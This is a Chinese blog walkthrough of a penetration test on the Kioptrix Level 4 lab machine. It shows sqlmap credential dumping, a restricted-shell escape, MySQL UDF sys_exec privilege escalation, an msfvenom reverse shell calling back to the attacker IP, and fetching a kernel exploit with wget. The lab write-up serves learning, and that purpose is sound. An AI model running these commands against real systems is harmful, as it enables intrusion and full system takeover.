首页 > 其他分享 >Kioptix Level 4靶场渗透测试

Kioptix Level 4靶场渗透测试

时间:2024-12-09 12:04:09浏览次数:8  
标签:sqlmap Kioptix -- Level 192.168 命令 ssh 靶场 root

声明! 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)

靶场:Kioptix Level 4靶场渗透测试

攻击机:kali-linux-2024

第一部分:信息收集

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

靶机IP地址192.168.23.151,攻击机IP地址192.168.23.140

3,扫描靶机端口服务

nmap -sS -sV -n -T4 -p- 192.168.23.151

渗透测试主要利用点还是80端口开启的http服务

4,访问一下192.168.23.151

是一个登录页面。一般是存在sql注入的

5,深化信息收集,对网站子目录进行爆破扫描

 dirsearch -u 192.168.23.151 -x 404,403,400

其中index.php就是初始登录页面

6,whatweb对网站指纹信息进行扫描识别

可能会存在中间件或后端语言的漏洞,但还是先验证登录网站是否具有sql注入漏洞

7,sqlmap自动化测试有无sql注入漏洞。首先通过burp suite抓一个请求包

然后将这个请求复制黏贴到sql.txt当中

sqlmap -r sql.txt  --level 5 --risk 3

sqlmap报告说参数'Referer'似乎不可注入,并且所有测试的参数都不具备可注入性。以下是一些建议,可以帮助您进一步调查和解决问题:

  1. 检查WAF或防护机制:如果目标站点有Web应用防火墙(WAF)或其他防护机制,可能会阻止sqlmap的注入尝试。您可以尝试使用--tamper选项来绕过这些防护机制。例如,使用--tamper=space2comment来替换空格为注释符号,或者尝试其他tamper脚本。
  2. 使用随机User-Agent:有些网站会根据User-Agent来过滤请求,导致注入测试失败。您可以尝试使用--random-agent选项来随机化User-Agent。
  3. 手动测试注入点:如果sqlmap无法自动检测到注入点,您可以尝试手动测试。首先,确认您要测试的参数是否确实存在注入漏洞。然后,使用sqlmap的手动注入功能,指定具体的注入点和注入类型。
  4. 调整sqlmap的选项:sqlmap有很多选项,可以帮助您更好地控制注入测试的过程。例如,您可以使用--level和--risk选项来调整测试的深度和风险级别。还可以使用--dbms选项来指定目标数据库的类型,以便sqlmap更准确地构造注入语句。
  5. 查看详细的日志信息:sqlmap会在测试过程中生成详细的日志信息,您可以查看这些日志来了解sqlmap的测试过程和结果。使用--verbose选项可以增加日志的详细程度。

更换一些参数进行sql注入  

sqlmap -r sql.txt --dump --batch --level 3

-r sql.txt

表示从文件sql.txt 中读取HTTP请求。这个文件应该包含一个完整的HTTP请求,例如一个包含可能存在SQL注入点的URL、请求方法(如GET或POST)、请求头和请求体(如果是POST请求)等信息。

--dump

这个参数指示sqlmap尝试从数据库中导出(转储)数据。如果发现了可利用的SQL注入点并且有足够的权限,sqlmap会将数据库中的表数据提取出来。

--batch

使sqlmap以非交互模式运行。在这种模式下,sqlmap会自动选择默认选项,不需要用户手动输入(例如,对于一些需要确认的操作,它会自动按照默认设置进行)。

--level 3

设置检测的级别为3。sqlmap有不同的检测级别,级别越高,它会尝试更多的检测技术和payload。一般来说,级别越高,检测的准确性可能越高,但同时也可能需要更多的时间和资源。

得到john/MyNameIsJohn;roba/ADGAdsafdfwt4gadfga==

可以正常登录进去,但是没有什么用

8,因为开启了22端口ssh服务,所以就可以尝试ssh登录

登录失败,本地的SSH客户端与远程服务器在密钥类型协商方面出现了问题。在一些较新的系统或软件版本中,可能由于安全策略升级,不再支持旧的密钥类型,如SHA1算法相关的密钥类型,而远程服务器提供的ssh - rsa或ssh - dss可能基于这些旧算法

ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.23.151

这是SSH命令的一个选项。-o用于指定SSH的配置选项,类似于在~/.ssh/config文件中设置的选项。

HostKeyAlgorithms=+ssh-rsa:此选项指定了在建立SSH连接时,允许使用的主机密钥算法。

HostKeyAlgorithms:这个选项用来控制客户端支持的主机密钥算法。

+ssh-rsa:这表示在当前默认的密钥算法列表中添加ssh-rsa。即使ssh-rsa可能在SSH客户端的默认设置中被禁用,+ssh-rsa允许此算法被启用,允许与远程主机使用RSA密钥进行身份验证。

可以看到ssh登录成功

9,接下来就需要进行基础的信息收集

发现能够使用的命令很少。登录成功的时候提示了通过help命令查看该用户可以使用的命令

提权利用点也就在这些命令上,这里选择shell逃逸(其实就是通过echo命令创建了一个交互式shell会话)

 echo os.system("/bin/bash")

echo 命令本身不会执行Python代码。在Shell中,echo os.system("/bin/bash") 仅仅会输出字符串 os.system("/bin/bash") ,而不会实际执行这个Python代码。

os.system 函数在Python中执行Shell命令。如果在Python脚本中执行 os.system("/bin/bash") ,它会启动一个新的交互式Shell会话

逃逸之后能够使用的命令就多了

10,接下来继续信息收集

id

uname -a

lsb_release -a

可以看到操作系统版本是比较低的,应该可以利用内核公开的exp进行提权

11,另一种方法还需要信息收集,pstree查看进程树发现靶机开启了mysql服务,那么可以查看mysql的配置文件来看到数据库登录密码

/var/www/john

可以看到是没有密码的,这就可以直接进行免密登录

12,数据库当中进行信息收集

show databases;

使用members数据库 use members

查看所有的表 show tables;

13,通过mysql提权,这里使用udf方法,首先查看mysql_func表(mysql函数表,自定义函数和预定义函数)

利用 sys_exec()函数将roba用户添加到管理员组

select sys_exec('usermod -a -G admin john');

sudo  su john (用于切换到超级用户"root"的shell)输入账号密码,提权成功

提权的第二种方法:利用sys_exec函数反弹shell

13,开启443端口监听,尝试使用函数执行命令访问443端口

select sys_exec("wget http://192.168.23.140:443/");

攻击机kali linux打开对443端口的监听

命令执行成功。然后使用msfvenom生成反弹shell 的程序

msfvenom -p linux/x86/shell_reverse_tcp LHOST = 192.168.23.140 LPORT = 4444 -f elf > reverse_shell.elf

上传到目标主机并执行,成功获取root权限

提权的第三种方法:针对操作系统版本过低的内核(失败)

11,检索公开的提权exp,过滤关键字是内核版本号

searchsploit privilege | grep linux | grep 2.6.2

应该是使用9083.c,导出来查看这个exp

searchsploit 9083.c -m 

查看并理解这个exp的注释内容

针对特定CVE(通用漏洞披露,CVE - 2009 - 1046)的漏洞利用代码的注释部分。它指出这是一个在Linux内核(版本 <= 2.6.28.3)中虚拟控制台UTF - 8的set_selection()函数存在的off - by - one(或off - by - two)内存 corruption(内存损坏)漏洞利用代码。代码由sgrakkyu编写,并给出了其联系方式(sgrakkyu antifork.org )以及相关的博客文章链接( http://kernelbof.blogspot.com/2009/07/even-when-one-byte-matters.html )。

[标题:利用条件]

  • NOTE - 1相关条件:需要一个连接到标准输出(stdout)的虚拟控制台。可以通过物理登录、对已经连接到虚拟控制台(VC)且具有相同用户ID(uid)的进程进行ptrace()操作或者远程管理等方式实现。
  • NOTE - 2相关条件:使用的UTF - 8字符为U+253C,大多数标准控制台字体似乎都支持该字符。如果不支持,则需要更改这个字符(并且相应地更改STREAM_ZERO和STREAM_ZERO_ALT定义),否则可能会出现递归致命错误(recursive fatal ooops)。
  • 系统相关条件:被设计为仅构建为x86 - 64二进制文件(仅适用于SLUB),并且系统中必须有SCTP栈可用。

[标题:测试目标]

该漏洞利用代码在以下目标上进行过测试:

  • Ubuntu 8.04 x86_64(2.6.24_16 - 23 generic/server)
  • Ubuntu 8.10 x86_64(2.6.27_7 - 10 genric/server)
  • Fedora Core 10 x86_64(默认安装内核 - 无selinux)

12,攻击机开启http服务 python -m http.server

在攻击机上面wegt下载

wegt http://192.168.23.140:8000/9083.c

13,对下载的exp进行编译,gcc -o 9083 9083.c

这个方法不成功,因为linux靶机没有预装gcc编译器

第四种方法,sudo直接提权

10,首先查看一下什么情况下可以使用sudo -l

用户"john"在该主机上拥有广泛的权限,可以以任意用户的身份执行任意命令,这通常表示该用户在该主机上具有完全的sudo权限。这种权限设置在实际生产环境中应当非常谨慎地分配,因为拥有这种权限的用户可以对系统进行任何操作,包括但不限于读取、修改或删除任何文件,安装或卸载软件,以及其他任何系统管理操作

11,可以直接使用sudo命令进行提权

sudo -u root /bin/bash

命令功能

sudo -u root /bin/bash是一个在类Unix系统(如Linux)中使用的命令。sudo(superuser do)的作用是允许普通用户以超级用户(root)的权限执行特定的命令。在这里,-u root明确指定以root用户的身份来执行后面的命令,/bin/bash是要执行的命令,这意味着以root用户身份启动一个新的bash shell。

安全性考虑

  • 以root身份运行命令具有很高的权限,如果在这个新的bash shell中执行了错误的操作(例如误删除重要系统文件等),可能会对系统造成严重的破坏。
  • 一般情况下,应谨慎使用sudo以root身份运行命令,并且只有在确实需要root权限的操作时才执行。

应用场景

  • 当需要执行一些系统级的配置操作,如修改系统级别的配置文件(/etc目录下的一些文件),安装系统级的软件包(在某些系统中需要root权限才能安装到全局位置)等情况时,可能会使用到这个命令来获取root权限的bash shell以便执行一系列相关操作。

最后成功得到flag

标签:sqlmap,Kioptix,--,Level,192.168,命令,ssh,靶场,root
From: https://blog.csdn.net/zhongyuekang820/article/details/144343118

相关文章

  • 2024年最新最全网络安全护网行动指南【附零基础入门教程】_网络安全靶场整个业务指南
    前言随着《网络安全法》和《等级保护制度条例2.0》的颁布,国内企业的网络安全建设需与时俱进,要更加注重业务场景的安全性并合理部署网络安全硬件产品,严防死守“网络安全”底线。“HW行动”大幕开启,国联易安誓为政府、企事业单位网络安全护航!,网络安全形势变得尤为复杂严峻。......
  • 教你如何打穿Kioptrix-Level1靶机
    本篇文章旨在为网络安全初学者介绍渗透测试行业靶机教学。通过阅读本文,读者将能够对渗透Kioptrix-Level1靶机有一个初步的了解目录一、信息收集阶段1、扫描网段,发现主机2、扫描主机详细信息(1)22/tcpopensshOpenSSH2.9p2(protocol1.99)(2)80/tcpopenhttpApacheh......
  • mssql靶场-手工注入(第一关)
    Mssql数据库相⽐mysql数据库本质上的框架是差不多的,使⽤的增,删,改,查命令是互相通的,但是Mysql中使⽤的函数在mssql中有些会起不到作⽤点。SQLSERVER--->MSSQL--14331.MSSQL中⾃带数据库信息2.MSSQL系统视图表(MSSQL数据库与MYSQL数据库⼀样,⾃带数据表sysobjects和sysco......
  • 红日靶场vulnstark 4靶机的测试报告[细节](一)
    一、测试环境1、系统环境渗透机:kali2021.1(192.168.200.131)靶 机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。密......
  • 红日靶场vulnstark 4靶机的测试报告[细节](二)
    一、测试环境1、系统环境渗透机:kali2021.1(192.168.200.131)靶 机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。密......
  • Vuln靶场-tomato渗透测试报告
    一、测试环境1、系统环境渗透机:kali(192.168.245.134)渗透机:本机(192.168.245.1)靶 机:narak(192.168.245.176)2、使用工具/软件:Chrome(浏览器):访问网站namp:发现主机、扫描端口dirb:目录扫描ssh:用于进行ssh远程登录连接gcc:用于编译c语言python3:用于打开交互式pyth......
  • Vuln靶场- DC_1渗透测试报告
    一、测试环境1、系统环境渗透机:kali(192.168.245.134)渗透机:本机(192.168.245.1)靶 机:DC1(192.168.245.180)2、使用工具/软件:Chrome(浏览器):访问网站namp:发现主机、扫描端口wget:用于下载目标网站文件中国蚁剑:用于连接目标网站服务器的一句话木马nc:用于反弹连接she......
  • Vuln靶场- DC_2渗透测试报告
    一、测试环境1、系统环境渗透机:kali(192.168.245.134)渗透机:本机(192.168.245.1)靶 机:DC1(192.168.245.181)2、使用工具/软件:Chrome(浏览器):访问网站namp:发现主机、扫描端口gobuster:目录扫描wget:用于下载目标网站文件git:用于提取vi:用于逃逸rbash3、测试目的对D......
  • 渗透测试-Kioptix Level 1靶机getshell及提权教程
    声明!学习视频来自B站up主泷羽sec有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!工具地址:通过网盘分享的文件:OSCP靶场链接:https:/......
  • BUUCTF Pwn jarvisoj_level2_x64 题解
    1.下载checksec64位用IDA64打开SHIFT+F12查找字符串找到了binsh函数里面也有system进主函数看看看到了栈溢出漏洞这是64位程序所以构造ROP链时要用rdi传参+用ret栈平衡找到这两个的地址:构造exp:运行得到flag  flag{4b1340f5-06be-4377-9630-fd2c77f016......